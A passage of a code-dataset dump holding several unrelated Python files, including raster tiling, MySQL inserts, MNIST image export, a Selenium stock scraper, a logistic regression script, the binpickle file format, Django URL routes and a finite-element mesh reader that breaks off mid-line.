mask.numpy().astype(np.uint8)\n\n # TODO: Avoid two transpositions\n image = np.transpose(image, (2, 0, 1))\n mask = np.transpose(mask, (2, 0, 1))\n # TODO: https://stackoverflow.com/questions/53776506/how-to-save-an-array-representing-an-image-with-40-band-to-a-tif-file\n\n dir_name = next(dir_names)\n image_path = os.path.join(data_dir,\n '{}_images'.format(dir_name),\n 'image_{0:03d}.tif'.format(im_id + 1))\n mask_path = os.path.join(data_dir,\n '{}_masks'.format(dir_name),\n 'image_{0:03d}.tif'.format(im_id + 1))\n\n # write rasters\n dout = driver.Create(image_path, tensor_shape[0],\n tensor_shape[1], nr_bands, gdal.GDT_UInt16)\n for i in range(nr_bands):\n dout.GetRasterBand(i + 1).WriteArray(image[i])\n\n dout = driver.Create(mask_path, tensor_shape[0],\n tensor_shape[1], 1, gdal.GDT_UInt16)\n for i in range(1):\n dout.GetRasterBand(i + 1).WriteArray(mask[i])\n\n im_id += 1\n\n if verbose > 0:\n print(\"Saved {} images to directory {}\".format(im_id, data_dir))\n\n\ndef tile(scene_path, labels_path, tensor_shape, filter_by_class=None):\n \"\"\"Tile the big scene into smaller samples.\n\n If filter_by_class is not None, only samples containing at least one of\n these classes of interest will be returned.\n\n :param scene_path: path to the image to be cut\n :param labels_path: path to the image with labels to be cut\n :param tensor_shape: shape of the first two dimensions of input tensors\n :param filter_by_class: classes of interest (if specified, only samples\n containing at least one of them will be returned)\n :return:\n \"\"\"\n import pyjeo as pj\n\n # do we filter by classes?\n if filter_by_class is None:\n filt = False\n else:\n filter_by_class = [int(i) for i in filter_by_class.split(',')]\n filt = True\n\n scene_nps = []\n labels_nps = []\n\n # load images\n scene = pj.Jim(scene_path)\n labels = pj.Jim(labels_path)\n\n nr_col = scene.properties.nrOfCol()\n nr_row = scene.properties.nrOfRow()\n cols_step = tensor_shape[0]\n rows_step = tensor_shape[1]\n\n for i in range(0, nr_col, cols_step):\n for j in range(0, nr_row, rows_step):\n # if reaching the end of the image, expand the window back to\n # avoid pixels outside the image\n if j + rows_step > nr_row:\n j = nr_row - rows_step\n if i + cols_step > nr_col:\n i = nr_col - cols_step\n\n # crop images\n scene_cropped = pj.geometry.crop(scene, ulx=i, uly=j,\n lrx=i + cols_step,\n lry=j + rows_step,\n nogeo=True)\n labels_cropped = pj.geometry.crop(labels, ulx=i, uly=j,\n lrx=i + cols_step,\n lry=j + rows_step,\n nogeo=True)\n\n if filt is False or \\\n any(i in labels_cropped.np() for i in filter_by_class):\n # stack bands\n scene_np = np.stack(\n [scene_cropped.np(i) for i in\n range(scene_cropped.properties.nrOfBand())],\n axis=2)\n labels_np = pj.jim2np(labels_cropped)\n\n scene_nps.append(scene_np)\n labels_nps.append(labels_np)\n\n return scene_nps, labels_nps\n","sub_path":"src/data_preparation.py","file_name":"data_preparation.py","file_ext":"py","file_size_in_byte":8084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"607771064","text":"import pymysql\nimport pandas as pd\nimport datetime\ndata = pd.read_table('weekendDate.txt',sep='\\s+', encoding = 'gb2312')\n\n#%%\n#将获取到的数据插入数据库\n# 连接database\nconn = pymysql.connect(host=\"localhost\", user=\"root\",password=\"123456\",database=\"shixi\",charset=\"utf8\")\n# 得到一个可以执行SQL语句的光标对象\ncursor = conn.cursor(cursor=pymysql.cursors.DictCursor)\n#如果没有数据表要进行生成\nsql_create1 =\" CREATE TABLE IF NOT EXISTS `WeekendSpecial`\\\n (\\\n `title` VARCHAR(100) NOT NULL,\\\n `detail` VARCHAR(40) NOT NULL,\\\n `herf` VARCHAR(100) NOT NULL,\\\n `upgrade_date` DATE\\\n )\\\n ENGINE=InnoDB DEFAULT CHARSET=utf8;\"\ncursor.execute(sql_create1)\n#批量插入数据\nsql_country = \"INSERT INTO WeekendSpecial VALUES (%s, %s, %s, %s)\"\nfor i in range(len(data)):\n a = data['Title'][i]\n b = data['Detail'][i]\n c = data['herf'][i]\n d = datetime.datetime.now().strftime('%Y-%m-%d')\n values = (a, b, c, d)#在从也可以进行插入数据格式修改\n cursor.execute(sql_country,values)\n#在插入完数据之后，将最近跟新的数据覆盖掉之前有的数据，也就是查找重复，如果时间越早则删除记录\nconn.commit()\nsql_delete_weekend=\" delete from WeekendSpecial where (title,upgrade_date) in (select title,n from(select title,min(upgrade_date)as n,count(*) as c from WeekendSpecial group by `title` having c>1)as t)\"\ncursor.execute(sql_delete_weekend)\n# 执行SQL语句\nconn.commit()\n# 关闭光标对象\ncursor.close()\n# 关闭数据库连接\nconn.close()\nprint('done')","sub_path":"周末专题/sqlWrite.py","file_name":"sqlWrite.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168536072","text":"from . import DynamoDBApi\nfrom . import agentConfig\n\n\nclass ConfigController:\n def __init__(self):\n self.__agent = agentConfig.agent\n self.__dynamodbApi = DynamoDBApi.DynamoDBApi()\n\n def updateAiConfig(self,aiConfigData):\n aiDynamoDbConfigData = {\n \"agent\":self.__agent,\n \"aiApp\":aiConfigData['aiApp'],\n \"key\":aiConfigData['key'],\n \"value\":aiConfigData['value']\n }\n\n self.__dynamodbApi.updateAiDynamoDbConfig(aiDynamoDbConfigData)\n\n def retrieveAiConfig(self,aiApp):\n aiConfigData = self.__dynamodbApi.retrieveAiConfig(self.__agent, aiApp)\n return aiConfigData","sub_path":"module/ConfigController.py","file_name":"ConfigController.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487655807","text":"import os\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nimport cv2\nimport numpy as np\n\n\nmnist = input_data.read_data_sets('MNIST_data/', one_hot=False)\n\n\ndef extract_mnist_data(xx='train', num=30):\n if xx == 'train':\n images = mnist.train.images\n labels = mnist.train.labels\n else:\n if xx == 'test':\n images = mnist.test.images\n labels = mnist.test.labels\n else:\n print('error!')\n return\n\n sess = tf.Session()\n # 获取图片总数\n shape_images = sess.run(tf.shape(images))\n images_count = shape_images[0]\n pixels_per_image = shape_images[1]\n # 获取标签总数\n shape_labels = sess.run(tf.shape(labels))\n labels_count = shape_labels[0]\n # 检查数据集是否符合预期格式\n assert images_count == labels_count\n assert shape_labels.size == 1\n\n print('数据集共包含 : {} 张图片， {} 个标签'.format(images_count, labels_count))\n print('每张图片包含 : {} 个像素'.format(pixels_per_image))\n print('数据类型为 ：{} '.format(images.dtype))\n\n images_data = images[0:num][:]\n labels_data = labels[0:num]\n\n # 创建数字图片的保存目录\n save_dir = 'MNIST_images/' + xx\n for i in range(10):\n dir_img = '{}/{}/'.format(save_dir, i)\n if not os.path.exists(dir_img):\n print('目录 ''{}'' 不存在！自动创建该目录...'.format(dir_img))\n os.makedirs(dir_img)\n\n # 生成图片\n for i in range(num):\n img_1d = images_data[i] * 255\n img_2d = img_1d.reshape(28, 28)\n\n dir_img = '{}/{}/'.format(save_dir, labels_data[i])\n name_img = '{}.jpg'.format(i)\n\n cv2.imwrite(dir_img + name_img, img_2d)\n\nextract_mnist_data('train')\nextract_mnist_data('test')","sub_path":"tensorflow/tl00_mnist_img_extract.py","file_name":"tl00_mnist_img_extract.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"58175779","text":"from Dequeue import *\n\ndq = DeQueue()\n\nstri = input(\"Enter a string\")\ntoChar = list(stri)\nfor i in toChar:\n dq.add_Rear(i)\nprint(toChar)\ndq.show()\nsize = len(toChar)\nsh = size / 2\nj=0\nflag = 1\nif size%2 == 0:\n sh = size/2\nelse:\n sh = size/2 - 1\n\nwhile j<=sh:\n front = dq.rem_Front()\n print(front,\"removed\", end=\" \")\n rear = dq.remv_Rear()\n print(rear,\"removed\")\n dq.show()\n\n if front == rear:\n flag = 1\n else:\n flag = 0\n break\n\nif flag == 1:\n print(\"String is palindrome\")\nelse:\n print(\"String is not palindrome\")\n\n\n","sub_path":"Week2/palindromeQueue.py","file_name":"palindromeQueue.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"314220532","text":"# -*- coding: utf-8 -*-\r\nimport lxml.html\r\nimport traceback\r\nfrom selenium import webdriver\r\nfrom time import sleep\r\n\r\nUrl = 'https://stocks.finance.yahoo.co.jp/'\r\nstock_code=['1301','7201','7203','998407']\r\n\r\ndriver = webdriver.Chrome(executable_path=\"./chromedriver.exe\")\r\ndriver.get(Url)#Webページの取得\r\n\r\ntry:\r\n for stock in stock_code:\r\n search_txt = driver. find_element_by_id(\"searchText\")\r\n search_btn = driver. find_element_by_id(\"searchButton\")\r\n search_txt.send_keys(stock) #検索用のインプットボックスに銘柄コードを設定\r\n search_btn.click() #検索ボタンを押します\r\n\r\n sleep(2) #ページの切替わりを待ちます。(とりあえず2秒）\r\n root = lxml.html.fromstring(driver.page_source) #Seleniumからページを取得し、Parserで変換\r\n\r\n company_name = root.xpath(\"//h1/text()\")[0]\t\t\t\t#会社名\r\n stock_price = root.xpath(\"//td[@class='stoksPrice']/text()\")[0]\t\t#株価\r\n print(company_name)\r\n print(stock_price)\r\nexcept:\r\n print(traceback.format_exc())\r\nfinally:\r\n driver.close()\r\n driver.quit()\r\n","sub_path":"yahoofinance_scraping.py","file_name":"yahoofinance_scraping.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"172065052","text":"# adult_ohe_logres.py\nimport pandas as pd \n\nfrom sklearn import linear_model\nfrom sklearn import preprocessing\nfrom sklearn import metrics\n\ndef run(fold):\n # load the full training data with folds\n df = pd.read_csv('../dataset/adult_folds.csv')\n\n # list of numerical columns\n num_cols = [\n 'fnlwgt' , \n 'age',\n 'capital.gain',\n 'capital.loss',\n 'hours.per.week'\n ]\n\n # drop numerical clumns\n df = df.drop(num_cols , axis = 1)\n\n # map target to 0s and 1s\n target_mapping = {\n ' <=50K' : 0,\n ' >50K' : 1\n }\n\n df.loc[:, 'income'] = df.income.map(target_mapping)\n\n # all columns are features except income and kfold columns\n\n features = [\n f for f in df.columns if f not in ('income' , 'kfold')\n ]\n\n # fill all NaN values with NONE\n # since all the features are categorical so converting them into string\n for col in features:\n df.loc[:,col] = df[col].astype(str).fillna('NONE')\n\n # getting training data using folds\n df_train = df[df.kfold != fold].reset_index(drop = True)\n\n # getting validation data using folds\n df_valid = df[df.kfold == fold].reset_index(drop = True)\n\n # intialize OneHotEncoder from sklearn\n ohe = preprocessing.OneHotEncoder()\n\n # fit ohe on training + validation features\n full_data = pd.concat(\n [df_train[features] , df_valid[features]] , \n axis = 0\n )\n ohe.fit(full_data[features])\n\n # transform training data\n x_train = ohe.transform(df_train[features])\n\n # transform validation data\n x_valid = ohe.transform(df_valid[features])\n\n # initialize Logistic Regression model\n model = linear_model.LogisticRegression()\n\n # fit model on training data set\n model.fit(x_train , df_train.income.values)\n\n # predict on validation dataset \n # We need the probability values as we are calculating AUC\n # we will use the probabilty of 1s \n valid_preds = model.predict_proba(x_valid)[:,1]\n\n # get roc auc score\n auc = metrics.roc_auc_score(df_valid.income.values , valid_preds)\n\n # print auc\n print(f\"Fold = {fold} , AUC = {auc}\")\n\n\nif __name__ == \"__main__\":\n for fold_ in range(5):\n run(fold_)","sub_path":"src/adult_ohe_logres.py","file_name":"adult_ohe_logres.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"254242204","text":"\"\"\"\nConstants and functions defining the binpickle format.\n\"\"\"\n\nimport struct\nfrom typing import NamedTuple\n\nMAGIC = b'BPCK'\nVERSION = 1\nHEADER_FORMAT = struct.Struct('!4sHHq')\nTRAILER_FORMAT = struct.Struct('!QLL')\n\n\nclass FileHeader(NamedTuple):\n \"\"\"\n File header for a BinPickle file. The header is a 16-byte sequence containing the\n magic (``BPCK``) followed by version and offset information:\n\n 1. File version (2 bytes, big-endian). Currently only version 1 exists.\n 2. Reserved (2 bytes). Set to 0.\n 3. File length (8 bytes, big-endian). Length is signed; if the file length is not known,\n this field is set to -1.\n \"\"\"\n version: int = VERSION\n \"The NumPy file version.\"\n length: int = -1\n \"The length of the file (-1 for unknown).\"\n\n def encode(self):\n \"Encode the file header as bytes.\"\n return HEADER_FORMAT.pack(MAGIC, self.version, 0, self.length)\n\n @classmethod\n def decode(cls, buf, *, verify=True):\n \"Decode a file header from bytes.\"\n m, v, pad, off = HEADER_FORMAT.unpack(buf)\n if verify and m != MAGIC:\n raise ValueError('invalid magic {}'.format(m))\n if verify and v != VERSION:\n raise ValueError('invalid version {}'.format(v))\n if verify and pad != 0:\n raise ValueError('invalid padding')\n return cls(v, off)\n\n @classmethod\n def read(cls, file, **kwargs):\n buf = file.read(HEADER_FORMAT.size)\n return cls.decode(buf, **kwargs)\n\n def trailer_pos(self):\n \"Get the position of the start of the file trailer.\"\n if self.length >= HEADER_FORMAT.size + TRAILER_FORMAT.size:\n return self.length - TRAILER_FORMAT.size\n elif self.length > 0:\n raise ValueError('file size {} not enough for BinPickle'.format(self.length))\n else:\n return None # We do not know the file size\n\n\nclass FileTrailer(NamedTuple):\n \"\"\"\n File trailer for a BinPickle file. The trailer is a 16-byte sequence that tells the\n reader where to find the rest of the binpickle data. It consists of the following\n fields:\n\n 1. Index start (8 bytes, big-endian). Measured in bytes from the start of the file.\n 2. Index length (4 bytes, big-endian). The number of bytes in the index.\n 3. Index checksum (4 bytes, big-endian). The Adler32 checksum of the index data.\n \"\"\"\n\n offset: int\n length: int\n checksum: int\n\n def encode(self):\n \"Encode the file trailer as bytes.\"\n return TRAILER_FORMAT.pack(self.offset, self.length, self.checksum)\n\n @classmethod\n def decode(cls, buf, *, verify=True):\n \"Decode a file trailer from bytes.\"\n o, l, c = TRAILER_FORMAT.unpack(buf)\n return cls(o, l, c)\n\n\nclass IndexEntry(NamedTuple):\n \"\"\"\n Index entry for a buffer in the BinPickle index.\n \"\"\"\n offset: int\n \"The position in the file where the buffer begins (bytes).\"\n enc_length: int\n \"The encoded length of the buffer data in bytes.\"\n dec_length: int\n \"The decoded length of the buffer in bytes.\"\n checksum: int\n \"The Adler-32 checksum of the encoded buffer data.\"\n codec: tuple = None\n \"The codec used to encode the buffer, or None.\"\n\n def to_repr(self):\n \"Convert an index entry to its MsgPack-compatible representation\"\n return dict((k, getattr(self, k)) for k in self._fields)\n\n @classmethod\n def from_repr(cls, repr):\n \"Convert an index entry from its MsgPack-compatible representation\"\n if not isinstance(repr, dict):\n raise TypeError(\"IndexEntry representation must be a dict\")\n return cls(**repr)\n","sub_path":"venv/lib/python3.7/site-packages/binpickle/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"272677905","text":"# a116_bugglength_image.plength\r\nimport turtle as trtl\r\n# instead of a descriptive name of the turtle such as painter,\r\n# a less useful variable name x is used\r\nspider = trtl.Turtle()\r\n# create spider body\r\nspider.pensize(40)\r\nspider.circle(20)\r\n# configure spider legs\r\nlegs = 4\r\nlength = 70\r\nangle = 375 / legs\r\nspider.pensize(5)\r\n# draw spider legs\r\nn = 0\r\nwhile (n < legs):\r\n spider.goto(0,20)\r\n spider.setheading(angle*n)\r\n spider.circle(50,80)\r\n spider.circle(50,-80)\r\n n = n + 1\r\nfor x in range(4):\r\n spider.goto(0,20)\r\n spider.left(20)\r\n spider.setheading(angle*n)\r\n spider.circle(-50,80)\r\n spider.circle(-50,-80)\r\n\r\nspider.backward(length)\r\nspider.right(20)\r\nspider.forward(50)\r\nspider.begin_fill()\r\nspider.circle(20)\r\nspider.end_fill()\r\nspider.hideturtle()\r\nlegsn = trtl.Screen()\r\nlegsn.mainloop()","sub_path":"KirkJ/Unit 1/1_1/1.15/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546656044","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n\ndef plotData1DHelper(X, y):\n plt.clf()\n plt.title(\"Univariate Data\")\n plt.xlabel(\"X\")\n plt.ylabel(\"y\")\n plt.plot(X, y, 'rx', label='Training Data')\n\n\ndef plotData1D(X, y):\n '''\n This function is to plot y vs X where the number of predictors of X is 1.\n Input\n X - n*1 matrix or vector of length n\n y - n*1 matrix or vector of length n\n to_block - boolean flag which when set stops the program execution until the\n plot is closed\n '''\n plotData1DHelper(X, y)\n plt.show()\n\n\ndef plotRegLine1D( lr_model, X, y):\n '''\n Plots the y vs X and also the regressed line according to the theta computed.\n Input\n X - n*2 matrix or vector of length n ( the second dimension is a column of ones for the bias term)\n y - n*1 matrix or vector of length n\n lr_model - linear regression trained model\n '''\n plotData1DHelper(X[:,1], y)\n plt.plot(X[:,1],X*lr_model.theta,'b-', label='Regression Line')\n plt.legend(loc='lower right')\n plt.show()\n\n\ndef visualizeObjective(lr_model,t1_vals,t2_vals, X, y):\n '''\n The function does the surface plot of the objective for a\n univariate regression problem with a bias term, so over 2 parameters.\n Search over the space of theta1, theta2.\n\n It also plots the gradient descent steps as blue points on the surface plot.\n Finally it plots a contour plot of the same\n\n lr_model - object of class LinReg (already trained)\n t1_vals, t2_vals - values over which the objective function should be plotted\n List of numbers\n X - n*2 matrix or vector of length n ( the second dimension is a column of ones for the bias term)\n y - n*1 matrix or vector of length n\n '''\n T1,T2 = np.meshgrid(t1_vals, t2_vals)\n n,p = T1.shape\n\n # Compute the objective function over the space\n Z = np.zeros(T1.shape)\n for i in range(n):\n for j in range(p):\n Z[i,j] = lr_model.computeCost(X,y, np.matrix([T1[i,j],T2[i,j]]).T )\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n surf = ax.plot_surface(T1, T2, Z, rstride=1, cstride=1, cmap=cm.coolwarm,\n linewidth=0)\n\n ax.zaxis.set_major_locator(LinearLocator(10))\n ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\n fig.colorbar(surf, shrink=0.5, aspect=5)\n\n # If the history of the objective function plot the path taken by the gradient descent\n if lr_model.JHist !=None:\n\n for ii in range(len(lr_model.JHist)-1):\n t1 = lr_model.JHist[ii][1].tolist()\n t2 = lr_model.JHist[ii+1][1].tolist()\n\n J1 = lr_model.JHist[ii][0]\n J2 = lr_model.JHist[ii+1][0]\n J1 = np.squeeze(np.array(J1))\n J2 = np.squeeze(np.array(J2))\n\n x_pts = [t1[0][0], t2[0][0]]\n y_pts = [t1[1][0], t2[1][0]]\n J_pts = [J1, J2]\n ax.plot3D(x_pts, y_pts, J_pts, 'b-')\n\n for J, t in lr_model.JHist:\n J = [np.squeeze(np.array(J))]\n t0 = [np.squeeze(np.array(t[0][0]))]\n t1 = [np.squeeze(np.array(t[1][0]))]\n ax.plot3D(t0, t1, J, 'mo')\n\n plt.title('Surface plot of the cost function')\n plt.xlabel('Theta0')\n plt.ylabel('Theta1')\n plt.show()\n\n # Contour plot\n plt.figure()\n plt.clf()\n CS = plt.contour(T1, T2, Z)\n plt.clabel(CS, inline=1, fontsize=10)\n plt.title('Contours of cost function')\n plt.xlabel(\"Theta0\")\n plt.ylabel(\"Theta1\")\n\n plt.plot(lr_model.theta[0][0],lr_model.theta[1][0], 'rx')\n plt.show()\n","sub_path":"plot_functions.py","file_name":"plot_functions.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"190431029","text":"class Solution:\r\n # @param {integer[]} nums\r\n # @return {integer}\r\n def maxProduct(self, nums):\r\n minv, maxv = 1, 1\r\n ret = nums[0]\r\n for n in nums:\r\n minv, maxv = min(n, maxv*n, minv*n), max(n, maxv*n, minv*n)\r\n ret = max(ret, maxv)\r\n return ret\r\n","sub_path":"MaximumProductSubarray.py","file_name":"MaximumProductSubarray.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159831338","text":"\"\"\"myblog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom blog import views\nimport settings\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$',views.getIndexPage,name='Index'),\n #Specific pages get Function\n url(r'^Teclogy/$',views.getTeclogyArticle,name='TeclogyIndex'),\n url(r'^Life/$',views.getLifeArticle,name='LifeIndex'),\n\n url(r'^About/$',views.getPageByAbout,name='AboutPage'),\n url(r'^Job/$',views.getPageByJob,name='JobPage'),\n #Comment Submit Handler\n url(r'^SubmitComment/$',views.sendCommentToServer,name='CommentHanddler'),\n\n #Article Handlers\n url(r'^(?P[a-zA-Z]*)/$',views.getArticleByLable,name='GetArticleByLable'),\n url(r'^(?P[a-zA-Z]*)/(?P[\\d]*)/$',views.getArticleById,name='GetArticleById'),\n #now from zero\n url(r'^(?P[a-zA-Z]*)/(?P[\\d]*)/(?P[\\d]*)/?$',views.getArticleByPage,name='GetArticleByPage'),\n\n url(r'^Update/Display/(?P[\\d]*)/$',views.getUpdateList,name='GetUpdateList'),\n url(r'^GetByPages',views.pageArticleSendHanddler,name='PageHanddler'),\n url(r'^UploadImag3',views.ArticleImageUpload,name='ImageUpload'),\n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"myblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"296644487","text":"## =================================================================== ##\n# this is file Model.py, created at 23-May-2013 #\n# maintained by Gustavo Rabello dos Anjos #\n# e-mail: gustavo.rabello@gmail.com #\n## =================================================================== ##\n\nimport numpy as np\nimport geometry\n\nclass Mesh:\n def __init__(_self,_boundary=None):\n \"\"\"\n Class Mesh\n \"\"\"\n _self.boundary = _boundary\n _self.numVerts = 0\n _self.numNodes = 0\n _self.numElems = 0\n _self.X = 0\n _self.Y = 0\n _self.IEN = 0\n _self.numberOfBoundaries = 0\n _self.physicalName = 0\n _self.heaviside = []\n _self.vertPhysicalName = []\n _self.elemPhysicalName = []\n _self.vertIdRegion = 0\n _self.elemIdRegion = 0\n _self.heaviside = 0\n _self.surface = 0\n _self.neighborElem = [[]]\n _self.neighborVert = [[]]\n _self.minEdge = 0\n _self.maxEdge = 0\n _self.averageEdgeLength = 0\n _self.numEdges = 0\n _self.mapEdge = 0\n _self.oface = 0\n _self.minArea = []\n _self.idMinArea = []\n _self.maxArea = []\n _self.idMaxArea = []\n _self.sumArea = []\n _self.averageTriArea = []\n\n def readVTK(_self,_dir,_filename):\n \"\"\"Read .VTK file created from any mesh generator. Assign values to\n X,Y,IEN numpy arrays.\n Ex. readVTK('/home/user/dir/','retangle.vtk')\"\"\"\n vtkFile = open(_dir+_filename,'r')\n lines = vtkFile.readlines()\n\n lineNr = 0\n while \"POINTS\" not in lines[lineNr]:\n lineNr += 1\n\n _self.numVerts = int(lines[lineNr].split()[1])\n lineNr += 1\n\n _self.X = np.zeros((_self.numVerts,1),dtype=float)\n _self.Y = np.zeros((_self.numVerts,1),dtype=float)\n\n for line in range(0,_self.numVerts):\n coords = lines[lineNr].split()\n _self.X[line] = float(coords[0])\n _self.Y[line] = float(coords[1])\n lineNr += 1\n\n while \"CELLS\" not in lines[lineNr]:\n lineNr += 1\n\n _self.numElems = int(lines[lineNr].split()[1])\n lineNr += 1\n\n _self.IEN = np.zeros((_self.numElems,3),dtype=int)\n\n for line in range(0,_self.numElems):\n vertices = lines[lineNr].split()\n v1 = int(vertices[1])\n v2 = int(vertices[2])\n v3 = int(vertices[3])\n _self.IEN[line] = [v1,v2,v3]\n lineNr += 1\n\n def readMSH(_self,_dir,_filename):\n \"\"\"Read .MSH file created from GMsh and assign values to\n X,Y,IEN numpy arrays.\n Ex. readMSH('/home/user/gmsh/','retangle.msh')\"\"\"\n mshFile = open(_dir+_filename,'r')\n lines = mshFile.readlines()\n\n lineNr = 0\n while \"$PhysicalNames\" not in lines[lineNr]:\n lineNr += 1\n\n lineNr += 1\n _self.numberOfBoundaries = int(lines[lineNr])\n\n lineNr += 1\n _self.physicalName = [[] for i in range(_self.numberOfBoundaries)]\n for line in range(0,_self.numberOfBoundaries):\n aux = lines[lineNr].split()\n _self.physicalName[line] = aux[2]\n lineNr += 1\n\n while \"$Nodes\" not in lines[lineNr]:\n lineNr += 1\n\n lineNr += 1\n _self.numVerts = int(lines[lineNr])\n\n _self.X = np.zeros((_self.numVerts,1),dtype=float)\n _self.Y = np.zeros((_self.numVerts,1),dtype=float)\n\n lineNr += 1\n for line in range(0,_self.numVerts):\n coords = lines[lineNr].split()\n _self.X[line] = float(coords[1])\n _self.Y[line] = float(coords[2])\n lineNr += 1\n\n while \"$Elements\" not in lines[lineNr]:\n lineNr += 1\n\n lineNr += 1\n totalNumElems = int(lines[lineNr])\n\n count = 0\n lineNr += 1\n while len( lines[lineNr].split() ) == 7:\n count += 1\n lineNr += 1\n\n _self.numElems = totalNumElems-count\n _self.IEN = np.zeros((_self.numElems,3),dtype=int)\n\n _self.elemIdRegion = np.zeros((_self.numElems,1),dtype=int)\n _self.elemPhysicalName = [[] for i in range(_self.numElems)]\n _self.vertIdRegion = np.zeros((_self.numVerts,1),dtype=int)\n\n for line in range(0,_self.numElems):\n vertices = lines[lineNr].split()\n v1 = int(vertices[5])-1\n v2 = int(vertices[6])-1\n v3 = int(vertices[7])-1\n _self.IEN[line] = [v1,v2,v3]\n\n lineNr += 1\n\n def mesh1Dto2D(_self,_param):\n import meshpy.triangle as tri\n\n mesh_info = tri.MeshInfo()\n mesh_info = _self.convertNumPyToTriangle(mesh_info)\n\n if _param[0] is 'Q': _param[0] = False \n else: _param[0] = True\n if _param[1] is 'A': _param[1] = True \n else: _param[1] = False\n if _param[3] is \"YY\": _param[3] = False \n else: _param[3] = True\n if _param[4] is \"q\": _param[4] = True\n else: _param[4] = False\n trimesh = tri.build(mesh_info, verbose=_param[0], \n attributes=_param[1],\n max_volume=float(_param[2]),\n allow_boundary_steiner=_param[3],\n allow_volume_steiner=_param[3], \n quality_meshing=_param[4])\n\n _self.convertTriangleToNumPy(trimesh)\n\n def convertTriangleToNumPy(_self,_trimesh):\n _self.numVerts = len(_trimesh.points)\n _self.numElems = len(_trimesh.elements)\n _self.numNodes = 0\n\n _self.IEN = np.array(_trimesh.elements)\n _self.elemIdRegion= np.zeros((_self.numElems,1),dtype=float)\n _self.vertIdRegion= np.zeros((_self.numVerts,1),dtype=float)\n _self.heaviside = np.zeros((_self.numVerts,1),dtype=float)\n for i,t in enumerate(_trimesh.elements): \n _self.elemIdRegion[i] = _trimesh.element_attributes[i]\n for j in range(0,len(t)):\n vertex = int(t[j])\n _self.vertIdRegion[vertex] = _trimesh.element_attributes[i]\n if _trimesh.element_attributes[i] == 0.0:\n _self.heaviside[vertex] = 0.0\n else:\n _self.heaviside[vertex] = 1.0\n\n coords = np.array(_trimesh.points)\n _self.X = np.array(coords[:,0])\n _self.Y = np.array(coords[:,1])\n for i,t in enumerate(_trimesh.points):\n if _trimesh.point_markers[i] == 22:\n _self.heaviside[i] = 0.5\n _self.vertIdRegion[i] = 0.5\n\n def convertNumPyToTriangle(_self,_mesh_info):\n mesh_info = _mesh_info\n\n # coords\n _self.X = _self.boundary.X.reshape(1,_self.boundary.numVerts)\n _self.Y = _self.boundary.Y.reshape(1,_self.boundary.numVerts)\n coords = np.zeros((_self.boundary.numVerts,2),dtype=float)\n coords[:,0] = _self.X\n coords[:,1] = _self.Y\n\n # point markers\n point_markers = [[] for i in range(_self.boundary.numVerts)]\n for i in range(0,_self.boundary.numVerts):\n if _self.boundary.Marker[i] == 0.0:\n point_markers[i] = 11\n elif _self.boundary.Marker[i] == 0.5:\n point_markers[i] = 22\n\n # defining bubble's surface and convex-hull\n facet_markers = [[] for i in range(_self.boundary.numElems)]\n face_markers = [[] for i in range(_self.boundary.numElems)]\n for i in range(0,_self.boundary.numElems):\n v1 = _self.boundary.IEN[i][0]\n v2 = _self.boundary.IEN[i][1]\n if (_self.boundary.Marker[v1] + _self.boundary.Marker[v2]) > 0:\n facet_markers[i] = 10\n else:\n facet_markers[i] = 20\n \n # import to mesh_info structure\n mesh_info.set_points(coords,point_markers)\n mesh_info.set_facets(_self.boundary.IEN,facet_markers)\n\n # out and in regions of bubble(s)\n # lineMesh.elemIdRegion == 0 --> wall\n # lineMesh.elemIdRegion == 1 --> bubble 1\n # lineMesh.elemIdRegion == 2 --> bubble 2 , etc\n mesh_info.regions.resize(_self.boundary.elemIdRegion.max()+1)\n for nb in range(0,_self.boundary.elemIdRegion.max()+1):\n for i in range(0,_self.boundary.numVerts):\n myList = _self.boundary.getNeighborPoint(i)\n myVec = 